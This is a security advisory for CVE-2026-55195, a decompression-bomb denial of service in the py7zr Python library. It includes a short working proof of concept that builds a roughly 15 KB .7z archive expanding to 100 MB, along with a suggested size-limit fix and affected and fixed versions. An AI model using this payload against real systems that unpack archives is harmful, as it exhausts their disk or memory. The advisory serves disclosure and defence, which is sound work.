GHSA-gjrg-mpp7-g774

Опубликовано: 19 июн. 2026

Источник: github

Github: Прошло ревью

CVSS4: 6.9

Описание

py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size

py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.

Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).

Proof of concept:

import py7zr, tempfile, os # create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') # extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive')

Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.

Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:

MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk)

Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

Ссылки

Пакеты

Наименование

py7zr

pip

Затронутые версииВерсия исправления

<= 1.1.2

1.1.3

EPSS

Процентиль: 11%

0.0021

Низкий

6.9 Medium

CVSS4

CVE ID

CVE-2026-55195

Дефекты

CWE-409

Связанные уязвимости

CVE-2026-55195

ubuntu

27 дней назад

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.